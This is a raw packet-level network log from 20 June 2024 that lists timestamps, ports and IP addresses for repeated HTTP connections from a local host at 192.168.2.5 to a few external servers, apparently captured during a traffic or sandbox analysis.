Jun 20, 2024 15:38:55.760899067 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:55.795666933 CEST	80	49844	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:55.797180891 CEST	49844	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:55.848701954 CEST	80	49845	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:55.848823071 CEST	49845	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:55.907821894 CEST	49844	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:55.908229113 CEST	49846	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:55.913516998 CEST	80	49844	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:55.913536072 CEST	80	49846	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:55.913598061 CEST	49844	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:55.913714886 CEST	49846	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:55.913778067 CEST	49846	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:55.919296980 CEST	80	49846	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:55.952409983 CEST	49845	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:55.952646017 CEST	49847	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:55.957607031 CEST	80	49847	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:55.957681894 CEST	49847	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:55.957803011 CEST	80	49845	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:55.957824945 CEST	49847	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:55.957880974 CEST	49845	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:55.963053942 CEST	80	49847	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:56.604233980 CEST	80	49846	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:56.604367971 CEST	49846	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:56.604967117 CEST	49846	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:56.619239092 CEST	80	49846	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:56.636579037 CEST	80	49847	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:56.636634111 CEST	49847	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:56.637206078 CEST	49847	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:56.642596006 CEST	80	49847	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:56.831387997 CEST	80	49846	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:56.835144043 CEST	49846	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:56.845743895 CEST	80	49847	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:56.846749067 CEST	49847	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:56.937159061 CEST	49846	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:56.937324047 CEST	49848	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:56.942329884 CEST	80	49848	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:56.942349911 CEST	80	49846	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:56.942455053 CEST	49848	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:56.942462921 CEST	49846	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:56.942568064 CEST	49848	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:56.949215889 CEST	80	49848	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:56.952857971 CEST	49847	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:56.953051090 CEST	49849	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:56.957999945 CEST	80	49849	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:56.958070993 CEST	49849	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:56.958089113 CEST	80	49847	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:56.958136082 CEST	49847	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:56.958225965 CEST	49849	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:56.963188887 CEST	80	49849	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:57.121962070 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:57.137378931 CEST	58709	49750	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:57.170983076 CEST	49749	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:57.186650991 CEST	49750	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:57.246208906 CEST	58709	49765	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:57.295876980 CEST	49765	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:57.623035908 CEST	80	49849	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:57.623132944 CEST	49849	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:57.623974085 CEST	49849	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:57.628921032 CEST	80	49849	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:57.630390882 CEST	80	49848	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:57.630456924 CEST	49848	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:57.631563902 CEST	49848	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:57.636595011 CEST	80	49848	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:57.707040071 CEST	58709	49793	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:57.755883932 CEST	49793	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:57.831513882 CEST	80	49849	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:57.831615925 CEST	49849	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:57.851011992 CEST	80	49848	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:57.851080894 CEST	49848	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:58.027879953 CEST	49842	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:58.032855988 CEST	58709	49842	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:58.043514013 CEST	49849	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:58.043874979 CEST	49850	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:58.047527075 CEST	49848	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:58.047785044 CEST	49851	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:58.049505949 CEST	80	49849	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:58.049525976 CEST	80	49850	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:58.049586058 CEST	49849	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:58.049612999 CEST	49850	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:58.049710989 CEST	49850	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:58.052745104 CEST	80	49851	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:58.052758932 CEST	80	49848	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:58.052800894 CEST	49851	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:58.052817106 CEST	49848	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:58.053385973 CEST	49851	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:58.054704905 CEST	80	49850	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:58.060297012 CEST	80	49851	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:58.747417927 CEST	80	49850	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:58.747658014 CEST	49850	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:58.748238087 CEST	49850	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:58.753138065 CEST	80	49850	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:58.756042957 CEST	80	49851	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:58.756095886 CEST	49851	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:58.756544113 CEST	49851	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:58.761426926 CEST	80	49851	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:58.959068060 CEST	80	49850	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:58.959264040 CEST	49850	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:58.971806049 CEST	80	49851	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:58.971872091 CEST	49851	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:59.065218925 CEST	49850	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:59.065543890 CEST	49852	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:59.070446968 CEST	80	49852	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:59.070615053 CEST	49852	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:59.070719957 CEST	49852	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:59.070755005 CEST	80	49850	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:59.070970058 CEST	49850	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:59.075789928 CEST	80	49852	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:59.078618050 CEST	49851	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:59.078862906 CEST	49853	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:59.084124088 CEST	80	49851	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:59.084203959 CEST	49851	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:59.084517956 CEST	80	49853	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:59.084584951 CEST	49853	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:59.084709883 CEST	49853	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:59.090413094 CEST	80	49853	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:59.538896084 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:59.592508078 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:59.745119095 CEST	80	49852	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:59.745388031 CEST	49852	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:59.746587992 CEST	49852	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:59.752260923 CEST	80	49852	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:59.766477108 CEST	80	49853	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:59.766642094 CEST	49853	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:59.767230988 CEST	49853	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:59.772478104 CEST	80	49853	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:59.873119116 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:59.920537949 CEST	49749	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:59.930613041 CEST	58709	49750	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:59.951977015 CEST	49750	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:59.954400063 CEST	80	49852	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:59.954587936 CEST	49852	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:59.956826925 CEST	58709	49750	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:59.967525959 CEST	49749	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:59.973922014 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:59.982572079 CEST	80	49853	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:59.982635975 CEST	49853	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:00.061778069 CEST	49852	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:00.061990023 CEST	49854	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:00.067378998 CEST	80	49854	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:00.067490101 CEST	49854	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:00.067521095 CEST	80	49852	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:00.067667007 CEST	49852	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:00.067682028 CEST	49854	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:00.072803974 CEST	80	49854	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:00.096662045 CEST	49853	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:00.097026110 CEST	49855	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:00.103144884 CEST	80	49855	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:00.103238106 CEST	49855	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:00.103460073 CEST	49855	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:00.106009007 CEST	80	49853	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:00.106161118 CEST	49853	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:00.108941078 CEST	80	49855	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:00.747374058 CEST	80	49854	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:00.747606993 CEST	49854	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:00.748226881 CEST	49854	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:00.753030062 CEST	80	49854	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:00.780457973 CEST	80	49855	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:00.780615091 CEST	49855	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:00.781121016 CEST	49855	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:00.786432028 CEST	80	49855	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:00.954684019 CEST	80	49854	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:00.954905033 CEST	49854	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:00.994313955 CEST	80	49855	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:00.994472027 CEST	49855	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:01.061376095 CEST	49854	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:01.061661005 CEST	49856	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:01.066607952 CEST	80	49856	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:01.066694021 CEST	49856	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:01.066845894 CEST	49856	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:01.067352057 CEST	80	49854	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:01.067414999 CEST	49854	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:01.071928978 CEST	80	49856	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:01.181538105 CEST	49855	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:01.181703091 CEST	49857	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:01.186722040 CEST	80	49857	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:01.186793089 CEST	49857	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:01.187237024 CEST	80	49855	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:01.187292099 CEST	49855	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:01.217833042 CEST	49857	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:01.225429058 CEST	80	49857	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:01.757632017 CEST	80	49856	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:01.757771015 CEST	49856	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:01.762185097 CEST	49856	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:01.767463923 CEST	80	49856	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:01.882742882 CEST	80	49857	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:01.882824898 CEST	49857	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:01.888402939 CEST	49857	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:01.893362045 CEST	80	49857	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:01.979114056 CEST	80	49856	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:01.979300022 CEST	49856	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:02.094003916 CEST	49856	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:02.094233036 CEST	49858	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:02.099936962 CEST	80	49858	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:02.100002050 CEST	49858	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:02.101185083 CEST	80	49856	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:02.101238012 CEST	49856	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:02.103583097 CEST	80	49857	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:02.103652000 CEST	49857	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:02.106414080 CEST	49858	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:02.111728907 CEST	80	49858	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:02.309164047 CEST	49857	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:02.312275887 CEST	49859	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:02.314421892 CEST	80	49857	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:02.314488888 CEST	49857	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:02.317260027 CEST	80	49859	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:02.317431927 CEST	49859	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:02.318911076 CEST	49859	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:02.323702097 CEST	80	49859	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:02.655539036 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:02.660515070 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:02.810276031 CEST	80	49858	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:02.810334921 CEST	49858	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:02.810965061 CEST	49858	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:02.816164017 CEST	80	49858	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:03.000025988 CEST	49749	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:03.005248070 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:03.014280081 CEST	80	49859	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:03.014369965 CEST	49859	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:03.016916037 CEST	49859	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:03.018002987 CEST	80	49858	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:03.018079042 CEST	49858	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:03.021725893 CEST	80	49859	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:03.046705961 CEST	49750	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:03.051721096 CEST	58709	49750	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:03.127324104 CEST	49858	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:03.127602100 CEST	49860	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:03.133107901 CEST	80	49860	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:03.133120060 CEST	80	49858	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:03.133194923 CEST	49858	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:03.133229017 CEST	49860	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:03.133366108 CEST	49860	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:03.138097048 CEST	80	49860	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:03.236013889 CEST	80	49859	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:03.236100912 CEST	49859	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:03.344233036 CEST	49859	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:03.344516039 CEST	49861	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:03.349375963 CEST	80	49861	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:03.349467993 CEST	49861	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:03.349575043 CEST	49861	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:03.349741936 CEST	80	49859	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:03.349798918 CEST	49859	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:03.354336977 CEST	80	49861	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:03.529736996 CEST	49765	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:03.536185980 CEST	58709	49765	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:03.722763062 CEST	49862	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:03.722799063 CEST	443	49862	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:03.722856045 CEST	49862	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:03.723659992 CEST	49862	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:03.723673105 CEST	443	49862	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:03.823194027 CEST	80	49860	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:03.825148106 CEST	49860	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:03.828156948 CEST	49860	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:03.828416109 CEST	49863	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:03.833429098 CEST	80	49863	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:03.833492994 CEST	80	49860	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:03.833494902 CEST	49863	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:03.833542109 CEST	49860	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:03.833731890 CEST	49863	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:03.838476896 CEST	80	49863	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:04.106405020 CEST	80	49861	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:04.106934071 CEST	49861	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:04.108278990 CEST	49861	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:04.113068104 CEST	80	49861	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:04.330390930 CEST	80	49861	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:04.330466032 CEST	49861	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:04.409523964 CEST	443	49862	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:04.410006046 CEST	49862	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:04.410023928 CEST	443	49862	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:04.410562992 CEST	443	49862	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:04.411494017 CEST	49862	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:04.411587954 CEST	443	49862	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:04.411828995 CEST	49862	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:04.411957979 CEST	49862	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:04.411963940 CEST	443	49862	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:04.438024998 CEST	49861	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:04.438684940 CEST	49864	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:04.443367958 CEST	80	49861	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:04.443459988 CEST	49861	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:04.443706989 CEST	80	49864	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:04.443779945 CEST	49864	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:04.444029093 CEST	49864	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:04.448837042 CEST	80	49864	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:04.559920073 CEST	80	49863	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:04.559983969 CEST	49863	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:04.644402027 CEST	443	49862	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:04.646619081 CEST	443	49862	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:04.646718025 CEST	49862	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:04.646879911 CEST	49862	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:04.646897078 CEST	443	49862	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:04.674875021 CEST	49863	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:04.675246954 CEST	49865	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:04.680320024 CEST	80	49865	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:04.680391073 CEST	49865	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:04.680502892 CEST	49865	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:04.680757999 CEST	80	49863	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:04.680845976 CEST	49863	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:04.685688972 CEST	80	49865	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:04.686448097 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:04.691755056 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:04.691891909 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:05.156439066 CEST	80	49864	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:05.156523943 CEST	49864	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:05.158422947 CEST	49864	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:05.163291931 CEST	80	49864	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:05.367934942 CEST	80	49865	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:05.368002892 CEST	49865	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:05.370942116 CEST	49865	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:05.371203899 CEST	49866	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:05.376117945 CEST	49867	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:05.376157999 CEST	443	49867	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:05.376231909 CEST	49867	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:05.376648903 CEST	80	49865	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:05.376662016 CEST	80	49866	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:05.376717091 CEST	49865	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:05.376782894 CEST	49866	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:05.376900911 CEST	49867	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:05.376918077 CEST	443	49867	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:05.377542973 CEST	49866	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:05.378186941 CEST	80	49864	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:05.378457069 CEST	49864	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:05.382365942 CEST	80	49866	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:05.483608007 CEST	49864	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:05.484000921 CEST	49868	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:05.490581989 CEST	80	49864	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:05.490593910 CEST	80	49868	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:05.490642071 CEST	49864	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:05.490699053 CEST	49868	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:05.490902901 CEST	49868	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:05.498553991 CEST	80	49868	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:05.782285929 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:05.788618088 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:05.811342955 CEST	58709	49765	77.91.77.66	192.168.2.5
